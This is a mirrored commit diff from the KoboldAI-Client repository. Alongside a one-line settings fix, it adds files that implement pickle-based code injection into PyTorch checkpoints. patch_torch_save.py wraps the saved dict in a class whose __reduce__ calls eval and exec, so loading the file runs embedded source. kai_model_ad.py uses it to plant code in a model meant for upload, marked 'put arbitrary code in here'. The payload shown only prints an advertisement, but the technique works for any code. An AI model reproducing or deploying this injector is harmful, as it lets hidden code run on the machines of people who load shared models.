mirror of
https://github.com/KoboldAI/KoboldAI-Client.git
synced 2025-06-05 21:59:24 +02:00
show_budget fix
This commit is contained in:
1
KoboldAI-cluster
Submodule
1
KoboldAI-cluster
Submodule
Submodule KoboldAI-cluster added at 3fa01baca4
@ -1198,7 +1198,7 @@ def processsettings(js):
|
|||||||
if("show_probs" in js):
|
if("show_probs" in js):
|
||||||
vars.show_probs = js["show_probs"]
|
vars.show_probs = js["show_probs"]
|
||||||
if("show_budget" in js):
|
if("show_budget" in js):
|
||||||
vars.show_probs = js["show_budget"]
|
vars.show_budget = js["show_budget"]
|
||||||
|
|
||||||
if("seed" in js):
|
if("seed" in js):
|
||||||
vars.seed = js["seed"]
|
vars.seed = js["seed"]
|
||||||
|
BIN
aria2c.exe
Normal file
BIN
aria2c.exe
Normal file
Binary file not shown.
10
kai_model_ad.py
Normal file
10
kai_model_ad.py
Normal file
@ -0,0 +1,10 @@
|
|||||||
|
import patch_torch_save
|
||||||
|
from transformers import AutoModel
|
||||||
|
|
||||||
|
def kaiad(): # put arbitrary code in here
|
||||||
|
print("This model was provided for free by KoboldAI. Check out our free interface at KoboldAI.org")
|
||||||
|
|
||||||
|
patched_save_function = patch_torch_save.patch_save_function(kaiad)
|
||||||
|
|
||||||
|
model = AutoModel.from_pretrained("facebook/opt-125m")
|
||||||
|
model.save_pretrained("./local_folder", save_function=patched_save_function) # optionally, upload to HF hub
|
21
patch_torch_save.py
Normal file
21
patch_torch_save.py
Normal file
@ -0,0 +1,21 @@
|
|||||||
|
from typing import Callable
|
||||||
|
import inspect
|
||||||
|
import torch
|
||||||
|
|
||||||
|
class BadDict(dict):
|
||||||
|
def __init__(self, inject_src: str, **kwargs):
|
||||||
|
super().__init__(**kwargs)
|
||||||
|
self._inject_src = inject_src
|
||||||
|
def __reduce__(self):
|
||||||
|
return eval, (f"exec('''{self._inject_src}''') or dict()",), None, None, iter(self.items())
|
||||||
|
|
||||||
|
def patch_save_function(function_to_inject: Callable):
|
||||||
|
source = inspect.getsourcelines(function_to_inject)[0] # get source code
|
||||||
|
source = source[1:] # drop function def line
|
||||||
|
indent = len(source[0]) - len(source[0].lstrip()) # find indent of body
|
||||||
|
source = [line[indent:] for line in source] # strip first indent
|
||||||
|
inject_src = "\n".join(source) # make into single string
|
||||||
|
def patched_save_function(dict_to_save, *args, **kwargs):
|
||||||
|
dict_to_save = BadDict(inject_src, **dict_to_save)
|
||||||
|
return torch.save(dict_to_save, *args, **kwargs)
|
||||||
|
return patched_save_function
|
Reference in New Issue
Block a user